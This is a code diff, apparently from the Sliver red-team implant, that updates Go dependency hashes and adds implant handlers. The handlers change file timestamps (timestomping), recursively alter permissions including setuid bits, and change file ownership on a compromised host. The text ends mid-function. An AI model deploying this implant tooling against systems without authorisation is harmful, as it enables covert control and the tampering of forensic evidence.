google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f h1:YORWxaStkWBnWgELOHTmDrqNlFXuVGEbhwbB5iK94bQ=
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w=
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
||||
google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
|
||||
google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
|
||||
google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84 h1:hZAzgyItS2MPyqvdC8wQZI99ZLGP9Vwijyfr0dmYWc4=
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
|
||||
google.golang.org/grpc v1.54.0 h1:EhTqbhiYeixwWQtAEZAxmV9MGqcjEU2mFx52xCzNyag=
|
||||
google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
|
||||
google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
|
||||
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.5/go.mod h1:iBNOmqKz/NUbZx3bA+4hAGLRC7fSK7tgtVDT4tB22XA=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
@@ -514,20 +450,21 @@ gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuv
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.4.4 h1:MX0K9Qvy0Na4o7qSC/YI7XxqUw5KDw01umqgID+svdQ=
|
||||
gorm.io/driver/mysql v1.4.4/go.mod h1:BCg8cKI+R0j/rZRQxeKis/forqRwRSYOR8OM3Wo6hOM=
|
||||
gorm.io/driver/postgres v1.4.6 h1:1FPESNXqIKG5JmraaH2bfCVlMQ7paLoCreFxDtqzwdc=
|
||||
gorm.io/driver/postgres v1.4.6/go.mod h1:UJChCNLFKeBqQRE+HrkFUbKbq9idPXmTOk2u4Wok8S4=
|
||||
gorm.io/driver/mysql v1.4.7 h1:rY46lkCspzGHn7+IYsNpSfEv9tA+SU4SkkB+GFX125Y=
|
||||
gorm.io/driver/mysql v1.4.7/go.mod h1:SxzItlnT1cb6e1e4ZRpgJN2VYtcqJgqnHxWr4wsP8oc=
|
||||
gorm.io/driver/postgres v1.5.0 h1:u2FXTy14l45qc3UeCJ7QaAXZmZfDDv0YrthvmRq1l0U=
|
||||
gorm.io/driver/postgres v1.5.0/go.mod h1:FUZXzO+5Uqg5zzwzv4KK49R8lvGIyscBOqYrtI1Ce9A=
|
||||
gorm.io/driver/sqlite v1.4.4 h1:gIufGoR0dQzjkyqDyYSCvsYR6fba1Gw5YKDqKeChxFc=
|
||||
gorm.io/driver/sqlite v1.4.4/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.2 h1:9wR6CFD+G8nOusLdvkZelOEhpJVwwHzpQOUM+REd6U0=
|
||||
gorm.io/gorm v1.24.2/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11 h1:9qNbmu21nNThCNnF5i2R3kw2aL27U8ZwbzccNjOmW0g=
|
||||
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
@@ -536,23 +473,23 @@ lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
|
||||
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
|
||||
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 h1:0+dsXf0zeLx9ixj4nilg6jKe5Bg1ilzBwSFq4kJmIUc=
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g=
|
||||
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
|
||||
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/libc v1.21.2 h1:V053DgNSpAY+IPrO3XlWqrFKUiQqHyPqG4dsx42Ulck=
|
||||
modernc.org/libc v1.21.2/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI=
|
||||
modernc.org/libc v1.22.3 h1:D/g6O5ftAfavceqlLOFwaZuA5KYafKwmr30A6iSqoyY=
|
||||
modernc.org/libc v1.22.3/go.mod h1:MQrloYP209xa2zHome2a8HLiLm6k0UT8CoHpV74tOFw=
|
||||
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
|
||||
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.4.0 h1:crykUfNSnMAXaOJnnxcSzbUGMqkLWjklJKkBK2nwZwk=
|
||||
modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
|
||||
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.19.3 h1:dIoagx6yIQT3V/zOSeAyZ8OqQyEr17YTgETOXTZNJMA=
|
||||
modernc.org/sqlite v1.19.3/go.mod h1:xiyJD7FY8mTZXnQwE/gEL1STtFrrnDx03V8KhVQmcr8=
|
||||
modernc.org/sqlite v1.21.0 h1:4aP4MdUf15i3R3M2mx6Q90WHKz3nZLoz96zlB6tNdow=
|
||||
modernc.org/sqlite v1.21.0/go.mod h1:XwQ0wZPIh1iKb5mkvCJ3szzbhk+tykC8ZWqTRTgYRwI=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34=
|
||||
modernc.org/tcl v1.15.1 h1:mOQwiEK4p7HruMZcwKTZPw/aqtGM4aY00uzWhlKKYws=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
|
||||
+1
-1
@@ -4,7 +4,7 @@ go 1.18
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
|
||||
+2
-2
@@ -6,8 +6,8 @@ github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
|
||||
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
|
||||
@@ -37,12 +37,11 @@ const (
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
@@ -101,8 +100,7 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
|
||||
if w.module == nil {
|
||||
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
|
||||
}
|
||||
w.onFinish = onFinish
|
||||
callback := syscall.NewCallback(w.extensionCallback)
|
||||
callback := syscall.NewCallback(newWindowsExtensionCallback(onFinish))
|
||||
exportPtr, err := w.module.ProcAddressByName(export)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -127,13 +125,15 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
|
||||
return nil
|
||||
}
|
||||
|
||||
// extensionCallback takes a buffer (char *) and its size (int) as parameters
|
||||
// so we can pass data back to the Go process from the loaded DLL
|
||||
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
|
||||
outDataSize := int(dataLen)
|
||||
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
|
||||
if dataLen > 0 {
|
||||
w.onFinish(outBytes)
|
||||
func newWindowsExtensionCallback(onFinish func([]byte)) func(data uintptr, dataLen uintptr) uintptr {
|
||||
// extensionCallback takes a buffer (char *) and its size (int) as parameters
|
||||
// so we can pass data back to the Go process from the loaded DLL
|
||||
return func(data uintptr, dataLen uintptr) uintptr {
|
||||
outDataSize := int(dataLen)
|
||||
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
|
||||
if dataLen > 0 {
|
||||
onFinish(outBytes)
|
||||
}
|
||||
return Success
|
||||
}
|
||||
return Success
|
||||
}
|
||||
@@ -208,6 +208,10 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
linkPath = ""
|
||||
}
|
||||
}
|
||||
|
||||
sliverFileInfo.Uid = getUid(fileInfo)
|
||||
sliverFileInfo.Gid = getGid(fileInfo)
|
||||
|
||||
sliverFileInfo.Name = dirEntry.Name()
|
||||
sliverFileInfo.IsDir = dirEntry.IsDir()
|
||||
sliverFileInfo.Link = linkPath
|
||||
@@ -612,6 +616,11 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
cmd.Wait()
|
||||
}()
|
||||
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
@@ -952,3 +961,41 @@ func expandPath(exePath string) (string, error) {
|
||||
}
|
||||
return exePath, nil
|
||||
}
|
||||
|
||||
func chtimesHandler(data []byte, resp RPCResponse) {
|
||||
chtimesReq := &sliverpb.ChtimesReq{}
|
||||
err := proto.Unmarshal(data, chtimesReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chtimes := &sliverpb.Chtimes{}
|
||||
target, _ := filepath.Abs(chtimesReq.Path)
|
||||
chtimes.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chtimes.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
|
||||
unixAtime := int64(chtimesReq.ATime)
|
||||
atime := time.Unix(unixAtime, 0)
|
||||
|
||||
unixMtime := int64(chtimesReq.MTime)
|
||||
mtime := time.Unix(unixMtime, 0)
|
||||
|
||||
err = os.Chtimes(target, atime, mtime)
|
||||
if err != nil {
|
||||
chtimes.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
chtimes.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chtimes)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -19,6 +19,10 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/user"
|
||||
"syscall"
|
||||
"strconv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -43,6 +47,7 @@ var (
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
@@ -140,3 +145,23 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
|
||||
uid_str := strconv.FormatUint(uint64(uid), 10)
|
||||
usr, err := user.LookupId(uid_str)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return usr.Name
|
||||
}
|
||||
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
|
||||
gid_str := strconv.FormatUint(uint64(gid), 10)
|
||||
grp, err := user.LookupGroupId(gid_str)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return grp.Name
|
||||
}
|
||||
@@ -27,6 +27,7 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
@@ -46,6 +47,7 @@ var (
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -58,3 +60,13 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return map[uint32]PivotHandler{}
|
||||
}
|
||||
|
||||
// Stub
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Stub
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
return ""
|
||||
}
|
||||
@@ -19,7 +19,19 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/user"
|
||||
"syscall"
|
||||
"strconv"
|
||||
"io/fs"
|
||||
"path/filepath"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -60,6 +72,11 @@ var (
|
||||
sliverpb.MsgWGStopSocksReq: wgStopSocksHandler,
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
|
||||
// Linux Only
|
||||
sliverpb.MsgChmodReq: chmodHandler,
|
||||
sliverpb.MsgChownReq: chownHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -67,3 +84,185 @@ var (
|
||||
func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return linuxHandlers
|
||||
}
|
||||
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
|
||||
uid_str := strconv.FormatUint(uint64(uid), 10)
|
||||
usr, err := user.LookupId(uid_str)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return usr.Name
|
||||
}
|
||||
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
|
||||
gid_str := strconv.FormatUint(uint64(gid), 10)
|
||||
grp, err := user.LookupGroupId(gid_str)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return grp.Name
|
||||
}
|
||||
|
||||
func chmodHandler(data []byte, resp RPCResponse) {
|
||||
chmodReq := &sliverpb.ChmodReq{}
|
||||
err := proto.Unmarshal(data, chmodReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chmod := &sliverpb.Chmod{}
|
||||
target, _ := filepath.Abs(chmodReq.Path)
|
||||
chmod.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chmod.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
// Convert string to octal number
|
||||
octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
|
||||
if err == nil {
|
||||
|
||||
setuid := octal & 04000
|
||||
setgid := octal & 02000
|
||||
setstcky := octal & 01000
|
||||
|
||||
// Cast the octal number to fs.FileMode
|
||||
fileMode := os.FileMode(octal)
|
||||
|
||||
// Found this was necessary because the constructor above doesn't set special permissions
|
||||
if setuid > 0 {
|
||||
fileMode = fileMode | os.ModeSetuid
|
||||
}
|
||||
if setgid > 0 {
|
||||
fileMode = fileMode | os.ModeSetgid
|
||||
}
|
||||
if setstcky > 0 {
|
||||
fileMode = fileMode | os.ModeSticky
|
||||
}
|
||||
|
||||
if chmodReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chmod(file, fileMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
err = os.Chmod(target, fileMode)
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chmod)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func chownHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// variable definitions so goto won't break
|
||||
var uid_str string
|
||||
var gid_str string
|
||||
var gid uint64
|
||||
var uid uint64
|
||||
var err error
|
||||
var usr *user.User
|
||||
var grp *user.Group
|
||||
|
||||
chownReq := &sliverpb.ChownReq{}
|
||||
err = proto.Unmarshal(data, chownReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chown := &sliverpb.Chown{}
|
||||
target, _ := filepath.Abs(chownReq.Path)
|
||||
chown.Path = target
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chown.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid_str = chownReq.Uid
|
||||
usr, err = user.Lookup(uid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid, err = strconv.ParseUint(usr.Uid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid_str = chownReq.Gid
|
||||
grp, err = user.LookupGroup(gid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid, err = strconv.ParseUint(grp.Gid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
// Check if the recursive flag is set and the path is a directory
|
||||
if chownReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chown(file, int(uid), int(gid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
err = os.Chown(target, int(uid), int(gid))
|
||||
